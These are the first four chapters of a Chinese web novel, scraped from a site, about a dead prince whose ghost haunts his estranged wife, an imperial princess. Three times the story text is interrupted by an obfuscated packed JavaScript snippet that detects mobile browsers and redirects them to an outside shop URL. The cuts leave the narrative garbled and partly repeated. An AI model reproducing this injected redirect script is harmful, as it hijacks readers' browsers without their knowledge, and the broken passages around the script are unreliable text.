《重生后前妻她又准备好攻略我了》 1. “谁在那儿？” 正月十五，雾蒙蒙的阴雨天。稀稀拉拉几响爆竹，透过抹不开的雾气传过来，那爆竹声也像浸了潮气，既不脆快，更不喜庆。 年就这么过完了，阴郁地，仓促地。萧征的一生也完了。 他死在这天夜里，倒在仿佛永不会消散的浓雾中。 可雾终究散了，年过了，世人们的日子也还是要过下去。只是他胸中的迷雾未散，百姓头上的愁云更浓罢了。 户门上的春联——有些被风掀的垂下一角，又被人用浆糊匆匆贴好了——可还是簇新的。 昨日煮的剩元宵炸一炸，热腾腾地端出来，孩子们吃得有味。十五的月亮十六圆，年好似还有余庆，而他已不在这人世间了。 他的尸身躺在路边的荒草丛中，所幸离大路不远，不久便有人发现。地保来看了看，挨家挨户敲门化了一笔小钱，“万字纹的棺材，三道紫金箍”将他草草发送了。 他的尸身也不沉重，像不愿意麻烦人家似的，地保拖着在湿漉漉的山地里行走也不吃力。 地保认识这老人。 每回遇到路倒，地保去化钱时，这老人总是慷慨解囊。银子总是零碎的，在等他来前数好了，有时甚至加些铜板，齐整而郑重地递到他手里。 先前，他身后总还站着个女人。他次次来，眼见着那女人的眼神从欣慰到怨怼。再后来，那女人不见了。 他活着时，面颊好似不这么往下凹着，总是理得整齐的鬓发与短髯，也像是这一夜里才骤然叫山风吹得花白的。 消息传出来，村民们纷纷摇着头叹息，知道“萧先生”昨儿夜里去世了。 “偏赶在正团圆的时候！”女人们抹着泪叹息。 男人们也摇着头，向远方的山上望去：“他还教过咱家娃儿识字嘞！我说请他来喝酒，也还没——” 这山村里没人知道他是谁。听说原先是京城人士，在京城也好像是教书。萧先生那样渊博，不像是在私塾里教小孩子的。 “兴许是太学的博士嘞。” “那怎么沦落到这儿来了？” “……” 对面的人沉默良久，隐晦地开口：“你瞧他还断了一只手——” “别是得罪了什么仇家，躲到这里来的吧。” 他诚然是躲到这里来的。 他从前还搬过一次家。先前住的那个村里，一个又瘸又瞎的老旷夫买进一个媳妇。那本是好几年前的事了，闹总归要闹上一闹的，那女人跑了几回，不跑了。现如今儿子都生了两个，大的那个很伶俐，比他父亲模样要周正的太多。 萧先生一来，才听说了这件事，连夜翻进他家里把那女人放走了，他自己被追上，让瘸子一家打得头破血流。 他前一天挨打，后一天就来了一伙官兵，点了一把大火，把那一家子人都锁在屋里烧死了。烧的时候，把全村人都从屋里押出来看，听火海里的鬼叫，看拐卖妇女的下场。萧先生由他的女人搀着，也颤颤巍巍站在路边远远地看着。 有人眼尖，瞥见萧先生猛地回头朝村头的大路上张望，那里远远地停着一辆马车。车棚里似有光亮，一个贵妇人的侧影映在车帘上。 怎么猜着是贵妇人？那可是四匹马拉的车，马车辕上都是镶金的。 只是匆匆地一瞥，那马车即刻辘辘地远去了。 第二天，火灭了，四具焦尸挂在村口，老头子的，瘸子的，两个男孩子其中一个太小，烧的太碎，便将黑漆漆的焦骨头扫一扫堆在一边。萧先生也就是那时候搬到这里来的。 地保在地上掘坑，不时俯下身费力地刮去粘在锹上的烂泥。他的头顶冒出白色的蒸气来。 “萧先生啊，您稍待一会儿。”地保气喘吁吁地停了手，歉意地朝地上那卷草席看了一眼，揩一把满头的汗，扶着铁锹叹气：“唉，多好的人呢！” 萧征当然不会埋怨这善良的人。 他的魂魄，就立在不远处看着。一身的病痛没有了，通体轻松，只剩心还向下坠着。 没有黑白无常拿铁链来锁他，他是横死山间的孤魂野鬼，只好漫山遍野地游荡。 他不知该去往何处，可是回京城的路他总认得的。 这十几年，他一直害怕踏上这条路，哪怕想一想都觉得恐惧而惭愧。 如今，总算不必羞也不必怕了。 回京路途迢迢，当下却只需要一个转念。 他已站在皇宫的大殿之上。 少帝带着一身酒气闯进赏明宫。 一屋子进进出出的，少说也有十来个半绾着头发的清秀男人，见了他都急匆匆地垂下眼躲闪。 人都坐定半天了，才有个细白皮色的少年打来洗脸水。来人动作慢吞吞的，一脸不情愿，不知道摆副贞烈样子给谁看。少帝一把抢过手巾自己揩了把脸，往面前的水盆里一掷，粗声粗气地赶他：“滚，滚，快滚！” “你瞧你这一屋子人，谁有个伺候人的样子！”少帝这才转回头烦躁地向着头戴卧兔儿暖额，身着粉红地串枝大花纹妆花缎棉袄，拥着被懒懒歪在贵妃榻上的长公主苏萦：“我说那暹罗面首极好，是整个京城最抢手的！说要给你，你还不领情。” 他朝正趴在苏萦怀里安详地打呼噜的猫咪嫌弃地一瞥：“就这黑脸猫，你要它什么劲！” 苏萦摸着猫儿的头没答话。房中地龙烧的滚烫，猫儿穿着她亲手缝的小袄，和她身上穿的那件用的是同一匹料子。这般精心保暖，还是照刚抱来的时候黑多了。亏是身上有件小衣裳，不至于跳到暗处时瞧不见，不注意踏了它。 “跟你要个人啊。”苏萦递了个手炉给他，这才悠悠地开口：“昨儿你处置的朱沂，他儿子我瞧上了。” “嘁，”少帝鄙夷地嗤笑：“那小子又哪儿像他了？” “嘴唇。”她怜爱地捧起猫儿的小脸端详，徐徐地往下说：“他老子叫你杀了，他哭的抽抽嗒嗒的，肩膀直耸搭，嘴唇却紧抿着，那犟劲儿像他，我喜欢。” “你就搜罗一百个一千个，那也不是他！”少帝不耐烦地把手炉朝桌上一掼站起身来，吓得苏萦怀里的小暹罗猫“砰咚”跳下地去。 “你就只喜欢那个糟老头子，这一屋子男人个个都像他。你说你这么惦记他，可一直也不去看看他！” “这下好了，他死了！”少帝将两手一拍一摊：“朕可算去了一块心病，就是不知道你——” “…你说什么疯话呢？”苏萦的声音很低，却掩不住错愕。 底下伺候的人脸色都不好看，胆战心惊地偷瞟苏萦的脸色。 “我说疯话？”少帝从怀中掏出一叠文书丢到她面前：“我哪儿说疯话了？你看看！白字黑字写着呢，庶人萧征于成昭十六年正月十五死于并州平金村。他死了！病死了，穷死了！” 少帝拍着手得意地大笑：“可把这老小子拖死了，要我说，早二十年他就该死！父皇当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799151|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年就——” “我累了。”苏萦突兀地打断他：“兆玉，送陛下出去。” 一言不合就被赶走，少帝从小到大也习惯了。听说他这表姐小时候爱黏着他娘，也是这样的待遇。喜怒无常的姨甥俩。他边站起身来往外走，还回头嘟嘟囔囔：“要我说啊，你一点都不用难过，他从前怎么对你的？这样，我明儿还是把暹罗面首给你送一个来……” 少帝出了门，小猫灵巧地跳上贵妃榻，想再回到主人怀里去。亲昵地用头蹭蹭她的手。 她的手冷得像屋外料峭寒风中僵硬的石像。 隔日，送来的不是暹罗面首，倒是朱沂的儿子。 苏萦真是说不上自己喜不喜欢她那个当皇上的表弟。至少在这种时候，还算不讨厌的。 长公主纳新人的时候，众面首都很识趣地退了出去。 那小朱公子的脸上，根本没有一丁点儿他的影子。 她要人的时候只是随口扯了个慌，这会儿却用眼睛在堂下惴惴跪着的少年脸上焦虑地搜寻着什么，似要把人盯出个洞来。 她只是心里太空了。 少年胆战心惊，在堂下沁着头久久跪着，等着问话。他膝下这条栽绒木红地三彩勾莲纹大地毯是新制的，酽酽的木红色，一点都没有褪黄。厚实温暖，简直可以席地而卧。从前在家的时候，母亲好像也曾想要买一块像样的地毯，去替换他们家堂前已分辨不出颜色还一踩一打滑的薄席。可以他父亲微薄的俸禄，就连购置这毯边上两个鎏金的卧牛席镇也是舍不得的。 若父亲真如判决所说贪墨七十万两——他在心中凄惨地笑。 头顶上隐约有啜泣声渐起。他不敢抬头，硬着头皮听那哭声，越来越无法压抑。 皇宫北面的玄武阁，位置偏僻，为防火防潮防蛀而设计的高台基石制建筑，存放着题本、奏折、诏令、实录、圣训以及修史所需的各种原始文件。 萧征循着索引找到写着自己名字的卷宗。 “靖王谋逆案”几个大字，黯淡的朱红色，像干涸的血迹。 进到阁中轻易得如入无人之境，或者更贴切地说：“如无人入境”。可没有实体的灵魂实在无法自己从架中抽出卷轴。 试了数次，他终于泄气，退回黑暗中静默地等待。 鬼的时间是用不完的。他这时候突然理解那些民间传说中的鬼，藏在荒郊野岭的破庙里，等待一月，一年，十年，就为了跳出来吓进来避雨的旅人一跳。 陈年的案卷，早积了一层灰，纸张泛了黄，被堆到房中更深更远的地方。编修及校书郎们伏案埋首，掌固们把卷帙搬进搬出，都在离他那边很远的地方忙碌。 世人眼中，他的一生早已盖棺定论。他做鬼没有几天，被遗忘倒已经很多年了。 这夜，苏萦来了。 无需掌固引路，她轻车熟路地走向这玄武阁最幽深的角落。 一排排书架高耸的黑影子，排山倒海般向她倾泄。她提着一盏小巧精致的宫灯，暖黄色的光以她为心，罩出一个温暖的圆。这细微的光晕向前行进着，一步步朝萧征走来。 “啪嗒。” 面前的一片黑暗中，传出突兀的轻响。 宫灯顷刻之间被向前掷去，三枚袖箭紧随其后，“咻咻咻”钉在对面的板壁上。 背手紧握着闪着寒光的发簪，苏萦将自己隐入黑暗中，冷冷开口—— “谁在那儿？” 2. “你这辈子已经完了，下辈子再见。” 以地上的灯光为界，两人隔着生与死对视了一瞬。 旋即，她谨慎向前，将他穿身而过。 被穿透是种异样的感觉，面对十六年未见的仇人茫然的眼神更是。 他们都老了。苏萦似乎老得要比他慢得多。这些年两人天差地别的境遇也早已印证了，他们两个，谁才是被命运垂怜的那一个。 他盯着她弯下腰去扶起宫灯的背影，隐约觉得他们新婚之时，她也有一件这样的绯色织锦披衫。那个时候，他出于少年人莫名其妙的别扭心思，总不肯当着外人的面承认，他的王妃是明艳俏丽，容色倾城。一个从五岁就哭哭啼啼跟在他后面的小娇气包，一个搅和了他和北漠王郡主的好事，使计逼他就范的王妃，能有什么好看。七年婚姻，争吵不断，两人隔阂越来越深，互相欺瞒，互相伤害，连如今回忆起来都只觉得身心俱疲。 一切结束在谁都没想到的时候。先皇猝然崩逝，朝廷形势瞬息万变，他蛰伏已久，当然要起兵夺回本就是三哥从他手里抢走的皇位。而她，还有她的父亲和母族，却断然拥立她姨母的独子，先帝的七皇子萧启煜为帝。 他太没有把那坐还坐不稳的孩子背后的势力放在眼里，因此最后落得满盘皆输。忠心耿耿的侍卫，同气连枝的胞弟都因他而死。 亲人朋友全都因他不幸，只有他自己想死也死不了。他夺位失败，等来的惩处却只有软禁，甚至在不久后再次起用他入朝为官。十几年后，他的政敌诬他谋反，关进诏狱吃了几天苦头，又被放了出来。他的景况越来越不堪，他的罪名越背越多。可他偏偏还活着。他染重病，有恰好路过此地的太医；他被人殴打，有从天而降的官兵。 他有时候忍不住想，她是不是要折磨他，是不是就想看着他这样屈辱地活着，一天又一天，一年又一年。 可他终于死了，这一次她没来得及救下他。他陡然升起一丝报复的快感，之后又觉得自己十分可笑，竟捉襟见肘到要拿自己的命去报复别人。 他天人交战的当儿，她已经捡起地上卷轴，环顾一周，拿着案卷提着灯往外走了。 他不知是在意自己未能翻看的案卷还是在意这女人的动向，鬼使神差地跟了上去。 黑脸猫一晚上都对着窗边那盆迎春花张牙舞爪地哈气。兆玉赶了它好几次，怕它拍落了枝头才结出的脆弱花苞。苏萦放下书本走过来，低下身子循着猫的视线看过去。 “真丢人，小环！蜘蛛都怕。”她朝猫的头上宠爱地胡撸了一把：“好啦，它碍着你什么事？过来吃小鱼。”她回首去拿装鱼干的瓷罐子，小猫兴奋地跳上炕桌昂起头来等着。 猫儿带倒刺的舌头热热地舐着掌心，她用另一只手拖过下午未看完的案卷来。 这几页什么时候看过的？真是年纪大了，记性也不济了。 萧征趁她皱着眉头对照自己的笔记时，站在她身后快速浏览。等这女人再离开，就又能再翻一页了。 猫儿紧盯着他发出恐吓的喷气声。 “行了行了，咱们不理他。”苏萦把猫抱到腿上，揉揉它的小脑袋。 萧征忍不住回头看了迎春枝杈上的蜘蛛一眼。那是位娴雅的闺阁小姐，正细致地调她的琴弦。 这屋里太静了，连个伺候的女使都没有。苏萦窝在炕床上，拥着猫咪，身子前倾向炕桌，兀自提笔写写画画。 她的生活竟是这样恬淡的？传闻中的长公主，可是—— “兆玉！”她冷不丁扬声唤，边搁下笔把桌上的纸张卷册都收拢了：“我闷了。” 房门被轻轻推开，兆玉带着几个容色昳丽的彩衣少年鱼贯而入。少年们颇有秩序地迅速找好了位置，簇拥在苏萦脚边。这一个捧果奉茶，那一个揉肩捏背，丝竹管弦的悠扬乐声也适时响起来。 坐的离她最近的那个红衫少年从怀里拿出一个精巧的小胭脂盒，殷勤地递到苏萦面前，求她试试他新调的颜色，有多么合衬她白皙的肤色。瞧那小子满眼精光，分外热切，飘在角落里的萧征和被他抢了先机冷落在一边的绿衣少年都微不可查地翻了个白眼。 苏萦含着坏笑，朝红衣少年的肚子上揉了一把，蹙起眉头故作嫌弃：“六郎，你这小嘴儿啊，光会说就得，可别太会吃了。你自己摸摸你这肚子，跟块板油似的！求我办事，就拿这身材伺候我，你是不是诚心想让我给你妹妹安排差事？”趁‘六郎’一时尴尬嗫嚅，回头朝那绿衣少年一笑：“还是五郎练的结实。过来我摸摸，不错！今晚你伺候我。” 胜负已分，和红衣少年一同瞬间黑了脸的，还有飘在角落里的萧征。坊间传闻听得再多，不如亲眼所见。传闻中的长公主，当真把日子过得声色犬马，荒银无度。 更鼓楼敲过定更，面首们依然是由兆玉领着出去，独留苏萦和那绿衣五郎在房中。 萧征也闷闷地穿墙而出。他可不是什么思想腌臜的色鬼，无心窥伺室内风光。何况，当年轮到他“伺候”的时候，这些小崽子们还没生下来呢。 一个抱着琴的少年走了又折返，踱回兆玉面前艰难地嗫嚅：“大人能不能提点一下学生，长公主有无什么其他喜好？若明日再不能引起长公主的注意，学生的母亲——” “给你母亲治病的太医，前日就已经派去了。”兆玉宽慰一笑：“长公主知道，你母亲的病拖不得。至于你舅舅的案子，她一定会想办法，让你再耐心多等一些时日。至于她这里，你若觉得勉强，以后就可以不用来了。她找个机会，送你出宫去。” 那少年感激涕零，扑腾跪在地上叩首道：“请大人替我多谢长公主大恩！” 兆玉忙着扶他起来，红衣六郎不知道从哪儿踅过来，揶揄道：“哎呦，那天我正好在场，长公主还说：小伙子年纪轻轻的，别总是闷在家里死读书。细胳膊细腿，身上肉都是软的，一点线条都没有。要是没有别的事，以后就别让他来了。” 少年擦着眼泪站起身来，皱着鼻子软乎乎地回嘴：“多谢你补充，板油兄。” 少年人们逐渐远去的嬉笑打闹声中，站着一只若有所思的鬼。 萧征在宫里飘了一圈，重走了一遍走过二十多年的上朝下朝的路。等他百无聊赖地飘回赏明宫，才敲了三更。他当然不想冒昧地闯进屋去，看两个人抱在床上。 设了佛龛的西次间点着灯。 本隐藏在墙壁内的一排书架出现在佛龛右首。 这赫然是一个微型的玄武阁天字库。长公主仗着少帝的势，不知从库里借了多少案件卷宗出来。有蹊跷的，有冤情的，一一罗列在此，标记着涉案人姓名，整齐地摆在书架上。 苏萦身着月白寝衣，裹着紫貂大氅，坐在书架下的矮桌前提笔思索。 默了半晌，总算让她想到了什么，紧皱的眉头一舒，纸条上写下一个名字：“兆玉，去给我查这个人。” “长公主，此事有乔家的人牵扯在内，太后那边…” “我会去跟姨母说的。”苏萦的话音里掩不住的困倦，将额头轻抵在自己的手腕上：“姨母只是太忙了，想抓紧结案。可她不是不明事理的人，不会草菅人命。” “你看，这不就有眉目了。那小子的舅舅兴许就有救了。” 她释然一笑。 摇曳的灯火照在她未施粉黛的脸上，竟有一丝神性。 萧征站在暗地里痴痴地看着。刚才和当下，不知哪个是梦。 突然起了一团雾，遮住眼前一切。他惶惶然往前冲，冲破迷雾，竟是他从前的王府。 华灯初上，府中下人们忙忙碌碌，正是晚饭时候。 苏萦独自坐在天井中的秋千上，有一搭没一搭地用脚尖点地，秋千小幅度地晃着。 听到脚步声临近，她头也没回：“蜜合，推我两把吧。” 身后的人站着没有动。她转回头，看清他的脸，微微的有点吃惊：“啊，殿下。” 她忙站起身，动作虽慌，神色却冷，一张口就夹枪带棒：“哟，知道回来吃饭啦？” “可是咱们府里，早就不带你的份了。劳烦殿下去外头凑合一顿吧？” 萧征只是定定的看着她。这里是她的梦。 “还不走？你不会太久没回来，不认识路了吧？”苏萦蹙起眉头，不耐烦地朝前走了几步越过他，扬声叫她的贴身侍女：“蜜合，送殿下出去。蜜合，蜜合？” 她突然呆在原地。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799152|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “…蜜合，蜜合不在了。” 震悚与悲伤将她钉在原地，她双眼失焦，泪水汹涌而出。 “…蜜合被你弟弟害死了。” 她猛地转过身来：“你还有脸来见我！” 萧征的身影骤然消散。 做鬼就是这一点好。 想逃避的时候，只需向后一退。 苏萦浑身一震，睁开双眼。 她独自躺在卧房的床上，天已大亮。 哪有什么靖王府，哪有什么萧征。 她惨然一笑。 房外等候多时的侍女们听到响动，悄声走进来伺候她洗漱梳妆。 “长公主昨日没休息好？” 厚厚地扑了几层粉还是遮不住她眼下乌青，为她上妆的小宫女小心翼翼地问。 “嗯，睡得太晚了。”她随口漫应。 “长公主的指甲又该染了。” “嗯，还用西域进贡的海娜吧。这把年纪，不适合用凤仙花了。” 十个指头都拿凤尾草裹好的时候，少帝又来了。 “表姐，你脸色怎么这么难看？”少帝夸张地大呼小叫。 “去，”苏萦皱起眉头，刚想摸摸脸蛋儿，叫笨重的指套挡住了，没好气地嘟哝：“臭小子，这么不会说话。” “我说真的，不骗你。”少帝怪委屈地撇了撇嘴：“我现在就叫个太医过来给你诊一诊脉，别是得什么病了。” “没什么病，就是撞鬼了。”苏萦乏得恹恹的，随口乱答。 “啊？鬼？什么鬼？”少帝吓得弹坐起来，缩着脖子到处瞟。 “瞧你吓得那样儿。”苏萦嗤笑：“我也说不上是怎么回事，昨晚梦着萧征了。” “你怀疑他来找你报仇的？”少帝皱紧了眉头往苏萦身前凑近些，悄声问：“你看清了吗？梦里他长什么样啊？” “唔……”苏萦扬起头想了一下：“还是很英俊。” “……啧。”少帝嫌弃地眯起眼睛。 “也还跟活着的时候一样讨人厌。” “表姐，你是想他了吧！”少帝见她眼神恋恋的呆坐着，仿佛还在认真回味，忍不住打趣。 “…没有。”想了他十几年，梦见他还是头一次。 太阳像小环追着玩的毛线团，滚到宫墙下头去了。 她满怀期待地睡下了。 “你到底来干什么？真的做了鬼，来索我的命吗？”她端详着面前的男人，暗想虽说落魄了几年，他的模样总还不是太难看，衣着打扮还算干净清爽。就是那蜷在袖中鸡爪一样挛缩的右手刺了她一下，手筋还是当年她叫挑断的。 “我有话要问你。”萧征终于开口。 “你问。” “为什么要帮我？” “在诏狱，在并州，为什么一次次的救我？” “哦，就问这个？”她嗤笑：“为了证明我有这么大的权力。我让你活你就得活，让你死你才能死——” “我死了。” “哦，”她像被噎住了似的，顿了一下，依旧不服输地接上：“对啊，我就是突然有点想让你死了。” 萧征低下头，喉咙里忽然咕噜出一个苦涩的笑音。笑音连成一串，他笑得浑身发抖，背往下伛偻着。 “苏萦，我这辈子能不能看到你服软一次，认输一次？”他好容易止住笑，抬起头来。 “那不可能了，你这辈子已经完了。”她神气地一抬下巴，朝他挥了挥手：“下辈子见。” 他“轰”地消失了，梦境也随之消弭。 天还没亮，桌前点着油灯，灯芯很不舒服地半躺着，大半个身子浸在油里。灯芯也做了噩梦，惶惶然忽明忽暗。 他要真这么走了怎么办？ 她拥着被子，怅然若失。 年轻的时候就总是这样，大发脾气赶他走，走了又怕他不回来。一时的神气，换好几天的提心吊胆。不过再给她一次机会，再给她十次百次千次机会，她还是会逞这一时之快。 她叹口气，翻过身睡了。 桌上的灯火，微不可查地摇曳了一下。 像注视着她的眼光闪烁。 3. “我好像听见你说，一言为定。” “梦的这么真，别真是鬼吧！表姐，我找个方士来，给他超度超度！”少帝坐在炕头吃橘子，嘴里塞得满满的含混地提议。 “不急，他也不一定天天来。”苏萦的口角含着莫名的笑意：“我们俩昨晚吵架了。年轻的时候我要是惹他生气啊，他至少得三天不理人。” “行，你要是再梦着他，赶紧差人去告诉我。也有可能是你最近悲伤过度了，我之前就说——” 暹罗面首虽迟但到。 让萧启煜那小子说着了，真是不错。 她才气喘吁吁心满意足地仰倒在床上，眼睛一闭，萧征就立在她面前。 哟，来了。 人年纪大了，气性也就小了。 萧征气急败坏，劈头盖脸就骂：“你真是饥不择食啊！” 人年纪大了，气量也就更小了。 “我怎么饥不择食了？我的眼光一向是最好的。”她一点不生气，缓缓地踱到他面前抬手抚摸他的脸，被他头一别躲过了：“我三十多年前挑中的那个，现在也还风韵犹存呢。” 拿他和那只南洋酱鸭子比！鬼气得魂都要散了。 “你不怕我？”他阴沉了脸色：“不怕我杀了你？” 刚才虽没触到他的脸，也感觉到他周遭冷森森的。她当下面对的，真的只是一缕幽魂。 “怕你？我没做亏心事，不怕鬼敲门。”苏萦坦率地迎着他向前走，说出的每句话都斩钉截铁：“看不清局势丢了皇位，是你活该；你弟弟滥杀无辜，是他该死！” 她逼到他面前：“想报复我，你大可以试试。我现在和你一样，一个亲信也没有了。外面那群面首，无论你杀了哪个，我都不会心疼。” “现在有什么事，你真得全冲我来了。” 靖王府的老人儿们都知道，王爷对全府上下都一向是和和气气的，大发雷霆，那一定是跟王妃。 靖王妃有一样绝技，最会拱王爷的火。 长公主被鬼压床了。 少帝带着方士闯进来，苏萦正被什么看不见的东西死死摁在床上，还被掐着脖子，窒息着奋力踢蹬挣扎。 “表姐！”少帝大喊。 “别碰我！”长公主满脸痛苦，双眼也睁不开，艰难开口：“他才杀不了我呢。你们快出去吧，给他留点儿面子。” 能杀他早二十年就杀了。 少帝带着方士们将信将疑地退出去，才掩上门，苏萦就如释重负地长出一口气，睁开眼揉着喉咙踉跄着爬了起来。 “仗着他们看不见你，大白天就往人身上骑啊？” 她轻佻地笑着理一理衣领，环顾四周，也不知道鬼到底在哪边气呼呼地飘着呢。 长公主三天没叫面首们进来伺候了。 苏萦歪在榻上，伸长了手够着茶杯，苦着脸抿一口酽酽的浓茶，艰难地撑着不时往下点着的头。 对鬼实行冷暴力，可把她这大活人折磨的够呛。 “把你说的那个大师叫过来，别让他再给我托梦了…”等少帝来了，苏萦咬着后槽牙不甘心地对他说。 “行，表姐，我都打听好了，这个大师是全京城最厉害的，马上就把他超度送走——” “别别，别把他送走。”苏萦托着沉甸甸的头，迷迷糊糊地念叨：“别让他再往我梦里钻就行…” “表姐，真让母后说着了，”少帝恨铁不成钢地摇摇头：“你真是没出息。” “嗯。” “表姐，下个月就是我十七岁生辰了，你送我什么啊？” “送你个把你迷的神魂颠倒又对你爱理不理的女人，让你也尝尝爱情的苦。”苏萦猛地抬头，眯起眼睛唬人：“快回去批折子去，小心冯太傅知道了又罚你。” “你看你，又提太傅！” 少帝一听她搬出太傅，缩了缩脖子，悻悻地起身：“那你再多撑一会儿，我现在就差人把那大师接过来啊。” 听得少帝走远，苏萦兀自开口：“他现在大了，不像小时候爱犯浑了。跟这个太傅相处得不错。” “不过啊——” “我看也是你自己做帝师的水平不行。” 面前的迎春花枝愤怒地狠狠一颤。枝头上的小蜘蛛吓得仓皇逃窜。 苏萦犯贱成功，用被子蒙着头咯咯坏笑。 阳光把被子晒得烫烫的，和暖的午后，所有生灵都打着小盹，连窗外鸟儿的啁啾都听不见了。 看来是等不到那位大师来了。 “有什么话还不快说，这可能是你最后一次入我的梦了。”苏萦望着那人赌气的背影，莫名的觉得好笑。 见他还迟迟疑疑地不肯转过来，苏萦无奈地耸耸肩：“不说算了，我有话要对你说。” “想不想让我再帮你一次？” “…帮我什么？” “帮你正名。” “按说我不该揽下这桩差事，谋权篡位的罪名太大，被你无辜牵连的人也太多——” “成王败寇，胜负已分，所有罪名我都担着。不需要你帮我。” “不怕罪名，也不怕恶谥？再过个几十年，无人会记得领兵打下大齐半壁江山的北靖王，知道的只有不自量力，妄想谋权篡位的——” “戾，王，萧，征。” 她清楚地看见他的肩膀一颤。 “这皇位本来就是我的！” 他转身怒吼出声，像个委屈的孩子。 苏萦了然地望进他眼里，看穿这满腹冤屈的鬼。 “瞧你这样子，还说你不在乎！”她简直笑弯了腰。 “怎么样，心动了？”她凑近他身前：“可我帮你是有条件的。” “我收集证据，为你平反，你不许再离开这间房子，要一直伴我左右。” 看着他目光闪烁，天人交战的样子，苏萦眼中闪过一瞬微不可查的苦涩。 不会很久的，萧征，这个“一直”不会很久的。 “可就算我陪着你…”他艰难开口。 我又能帮你做些什么呢。 “什么？”她抬起下巴，俏皮地转着眼珠撇撇嘴。 “我好像听见你说——” “一言为定。” 萧征还未来得及反驳，眼前骤然光芒刺目，转瞬之间，他被驱出梦境。 回过神来，看榻上躺着的苏萦，像猫儿一样慵懒地伸了个懒腰，满脸得意的神色。 一支牡丹金簪从她右手中滑落，锋利如刀的尖锐花蕊上沾着斑斑血迹，刚才曾深深地刺进她的掌心。 “还记得吗？母后当年说的。” 她睁开双眼，长睫毛如蝴蝶翅膀扇动，深如潭水的美眸，是另外两朵危险的花。 “握着自己最喜欢的东西睡觉是大补。” 方士来看了看，留下一道护身符和两枚符纸。 少帝将信将疑，把那块传说能稳住心脉的黄铜玄武吊坠拿起来掂掂，很有分量。 可就算是再有分量，一块破铜，也不至于卖出一块金疙瘩的价钱来。连一向沉稳老成的兆玉脸上都露出些不可置信的神色，外头扒着门缝看热闹的年轻面首们更是惊得呲牙咧嘴。 苏萦倒是没说什么。长公主奢靡铺张惯了，若非说这吊坠只一种样式，她怕是要请上几十个每天换着样儿戴戴。 少帝让人从牲口房牵了只小黄狗过来，说狗最有灵性，鬼要是来了，能给你示警。你养这傻猫哑巴似的，看见了也没个反应。 苏萦照单全收。 这小狗她尤其喜欢，是母的，很通人性，很有规矩。黄狗白面，两边脸颊飞扬着漂亮的长毛，亮晶晶的黑眼睛，半张开嘴巴露出粉舌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯！”绣球十分肯定地把胸脯一挺，接着连哼带比划的忙活起来。先从门口快速冲到她床前，两只前爪往床沿上一搭，然后腾地仰倒装死。爬起来含住黄铜玄武，像叼住一根大棍似的，使劲甩头痛击着空气：“嗯！嗯！嗯！” 苏萦拍手大笑。 “哎呀，王爷昨夜来了，怎么没进梦里坐坐？” 她的视线轻飘飘地掠过房间，虽看不见任何异样，但脑海中已经生动地绘出了画面： “以你这不肯服输的倔驴性子，不可能试一次就放弃吧？是不是像个没头苍蝇似的，撞了一整晚啊？” 想到萧征那张向来不可一世的脸上可能出现的挫败和窘迫，苏萦脸上的笑就又收不住。 真让人觉得通体舒泰，多日来的郁气一扫而空啊！ “来来来，我的两位小门神。”苏萦把黑脸猫搂到怀里，摸摸白脸狗的脑袋，拆开早就准备好的纸包拿出新制的肉干来犒劳它们。 走到梳妆台前，苏萦故意摆弄起脖子上的黄铜玄武吊坠。用丝绢小心翼翼地仔细擦拭，仿佛在对待一件绝世珍宝。 苏萦对着铜镜大声自言自语：“真是得了个好宝贝，戴着它，觉睡得又香又沉。大师所赐，果然非同凡响。得好好供着，一刻也不能离身才是。” 挑了一件颜色格外明艳的衣裙换上，对镜端详着自己红润了不少的脸颊，苏萦语气中带着几分夸张的惊喜：“瞧瞧这气色，真是托王爷的福，这一晚上辛苦在外‘守护’，比什么补药都管用。以后若能夜夜如此‘相安无事’，我怕不是要返老还童了？” 正香喷喷咀嚼肉干的绣球突然直起身子，盯着苏萦身后紧张地低吠一声。 床上那只攒金枝丝织软枕幽幽地飘到了苏萦头顶。 4. “萧征你欺人太甚！” “哎呀！” 头上猝然挨了不轻不重的一击，像学堂里的先生提醒走神的学生，悄没声地踱到人身后，握着手里的书卷，砰地一下。 苏萦惊诧地回过头去，枕头也同时当空落下。她盯着摔在脚边的枕头，脸上都起了一层栗。 这才真叫，撞鬼了。 西次间的书房里，什么东西一响。 她握牢了护身符循声过去，一本《礼记》丢在地上，见她走近，哗啦啦地翻到《曲礼》篇。 「敖不可长，欲不可从，志不可满，乐不可极。」 苏萦一瞥那书，悬着的心放下了大半，环顾四周冷哼一声：“又要给人上课。” “从前萧启煜就不吃你这套。” 她也不捡那书，转身就走，走开几步又扭回头，气哼哼地补上一句：“我也不吃！” 佯装着镇定自若，她走回妆台前继续梳妆。 到底还是心神不宁，今天她的眉总画不好，不是粗了就是长了。 丝绢把眉毛处的皮肤都搓红了，铜镜里的长公主脸色越来越难看。 忽然福至心灵，她微微地松开了手指。手上那枚螺子黛还在描画，沉浸在自己的艺术里无法自拔。 “萧征！”长公主一声怒吼，心虚的螺子黛一抖掉在了地上。 “长公主，”久候在门外的小丫鬟试探地问：“用早膳吗？” 